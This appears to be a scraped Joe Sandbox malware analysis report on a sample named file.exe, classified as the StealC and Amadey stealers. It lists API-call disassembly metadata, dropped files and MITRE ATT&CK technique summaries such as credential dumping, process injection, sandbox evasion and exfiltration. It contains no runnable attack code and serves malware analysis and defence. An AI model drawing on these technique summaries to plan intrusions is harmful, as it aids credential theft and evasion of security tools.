malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB0B2C9,?,?,?,6CB0B127,?,?,?,?,?,?,?,?,?,6CB0AE52), ref: 6CB0B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB0B127,?,?,?,?,?,?,?,?), ref: 6CB0B74D

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 6d9f8a197725090e8cf24d994344b145f791e1aabad09a74e41f89ef30a0abb1
Instruction ID: 65a105ad7884549b6e911b1fc1e4f9f445408ebc1b2d16a2cd7f3aaf9d457474
Opcode Fuzzy Hash: 6d9f8a197725090e8cf24d994344b145f791e1aabad09a74e41f89ef30a0abb1
Instruction Fuzzy Hash: F951DCB5B052568FDB14CF58C98076EBBB5FF85306F45852DC85AABB00DB31A804CBA2

Function 6CB0DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CAFFF2A), ref: 6CB0DFFD

Part of subcall function 6CB090E0: free.MOZGLUE(?,00000000,?,?,6CB0DEDB), ref: 6CB090FF
Part of subcall function 6CB090E0: free.MOZGLUE(?,00000000,?,?,6CB0DEDB), ref: 6CB09108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAFFF2A), ref: 6CB0E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAFFF2A), ref: 6CB0E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CAFFF2A), ref: 6CB0E0FE

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 28cf055b1ca00a4692485aea6c23ffd793f5bcf7139acf63dd1803bd7556663b
Instruction ID: fb1e7dc70fcdaf434b6d8c951ca9b182bc87bfe2f787b36c572ad021033c5705
Opcode Fuzzy Hash: 28cf055b1ca00a4692485aea6c23ffd793f5bcf7139acf63dd1803bd7556663b
Instruction Fuzzy Hash: 2541CEB17042D68BEB14CF68C88176E7BBAEB45308F144929D596DBB50F732E904CBD2

Function 6CB06E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CB06EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CB06EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB06F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB06F5C

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 65ac86fa1df483837bbaf958dd9980ff49855e1786d2096368f5583ab2ac66c1
Instruction ID: 0cfc10fba32a461793e63408313e642f8a309235ad5ee4145ce5e213923b8782
Opcode Fuzzy Hash: 65ac86fa1df483837bbaf958dd9980ff49855e1786d2096368f5583ab2ac66c1
Instruction Fuzzy Hash: 4331E571B1064A8FEB14CF2CC9806AE77E9EB84304F508639D81AC7651EF31E699C791

Function 6CB1B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAC0A4D), ref: 6CB1B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAC0A4D), ref: 6CB1B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAC0A4D), ref: 6CB1B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAC0A4D), ref: 6CB1B67F

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 20059032654df776b78f7ed2165db8196c84a345ff6b50983e2e0872359dfaf4
Instruction ID: 46a64fbb29d5a27a7575a8e3659105951a44f78fd330001914bbb07c25b5e992
Opcode Fuzzy Hash: 20059032654df776b78f7ed2165db8196c84a345ff6b50983e2e0872359dfaf4
Instruction Fuzzy Hash: 3431E6B1A052668FDB10CF58C84465EFBF5FF91304F168669C80A9BB05EB31E915CBE1

Function 6CAEF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CAEF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CAEF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CAEF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CAEF668

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 095d64e88f964f07c748b3ca27b642e172e601832cceccbad2c0c3e62b6fecb3
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 23313E71A00214AFD724CF5DDCC0A9F77B5EB98354B18893DEA498BB04D631E984CBA0

Function 6CB026B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB026C1
free.MOZGLUE(?), ref: 6CB026E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB026FF
free.MOZGLUE ref: 6CB0270D

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 603d9c3dc39392dd8d8c967cd8e741c83ae18d2fe32702bbb0de637bcc1a8d33
Instruction ID: 7ba374d7cc4a026979448b03fd05bc0a45c7442c4a11c8f9ecb2ad8d15d18704
Opcode Fuzzy Hash: 603d9c3dc39392dd8d8c967cd8e741c83ae18d2fe32702bbb0de637bcc1a8d33
Instruction Fuzzy Hash: 70F0F9B67012815BE7109F58D8C495BB7BDEF51259B510035EA1AC3B01E731F95CC793

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFBGDGIDBAAEBFHJKJDGCGCGDG

C:\ProgramData\BKFBAECB

C:\ProgramData\DHCBAEHJJJKKFIDGHJEC

C:\ProgramData\EGDGIIJJECFIDHJJKKFCAECFHI

C:\ProgramData\GDGHIDBK

C:\ProgramData\IEHJJECBKKECFIEBGCAK

C:\ProgramData\JKJEHJKJEBGHJJKEBGIE

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre